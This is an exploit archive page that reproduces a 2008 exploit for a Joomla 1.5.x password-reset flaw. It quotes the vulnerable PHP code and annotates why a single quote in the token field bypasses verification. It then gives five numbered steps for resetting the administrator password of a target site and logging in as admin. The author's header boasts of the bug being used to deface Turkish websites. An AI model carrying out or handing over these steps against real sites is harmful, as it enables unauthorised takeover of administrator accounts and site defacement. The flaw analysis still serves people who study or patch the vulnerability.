SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow ExploitAlert Database

Arrow  Topic :

Joomla 1.5.x (Token) Remote Admin Change Password Vulnerability


Arrow  ExploitAlert : 4485
  SecurityAlert : 4157 (Exploit Details)
  Milw0rm ID : 6234
Arrow  Credit : d3m0n
Arrow  Date : 14.08.2008

Arrow   Download

Arrow   Plain text version


Arrow  Exploit Code :  

###########################################################################
##########
#### Joomla 1.5.x Remote Admin Password Change
####
###########################################################################
##########
#
#
# Author: d3m0n (d3m0n@o2.pl)
#
# Greets: GregStar, gorion, d3d!k
#
#
#
# Polish "hackers" used this bug to deface turkish sites BUAHAHHA nice
0-day pff #
#
#
###########################################################################
##########



File : /components/com_user/controller.php

###########################################################################
##########
Line : 379-399

function confirmreset()
{
// Check for request forgeries
JRequest::checkToken() or die( 'Invalid Token' );

// Get the input
$token = JRequest::getVar('token', null, 'post', 'alnum'); <
--- {1}

// Get the model
$model = &$this->getModel('Reset');

// Verify the token
if ($model->confirmReset($token) === false) < --- {2}
{
$message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED',
$model->getError());
$this->setRedirect('index.php?option=com_user&view=reset&layout=confirm'
, $message);
return false;
}

$this->setRedirect('index.php?option=com_user&view=reset&layout=complete'
);
}

###########################################################################
##########

File : /components/com_user/models/reset.php

Line: 111-130



function confirmReset($token)
{
global $mainframe;

$db = &JFactory::getDBO();
$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation =
'.$db->Quote($token)); < ---- {3}

// Verify the token
if (!($id = $db->loadResult()))
{
$this->setError(JText::_('INVALID_TOKEN'));
return false;
}

// Push the token and user id into the session
$mainframe->setUserState($this->_namespace.'token', $token);
$mainframe->setUserState($this->_namespace.'id', $id);

return true;
}
###########################################################################
##########



{1} - Replace ' with empty char
{3} - If you enter ' in token field then query will be looks like : "SELECT
id FROM jos_users WHERE block = 0 AND activation = '' "


Example :


1. Go to url :
target.com/index.php?option=com_user&view=reset&layout=confirm

2. Write into field "token" char ' and Click OK.

3. Write new password for admin

4. Go to url : target.com/administrator/

5. Login admin with new password





Arrow  Feedback :

If you have additional information or notice any errors regarding this exploit, please use contact form or email us at exploit()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.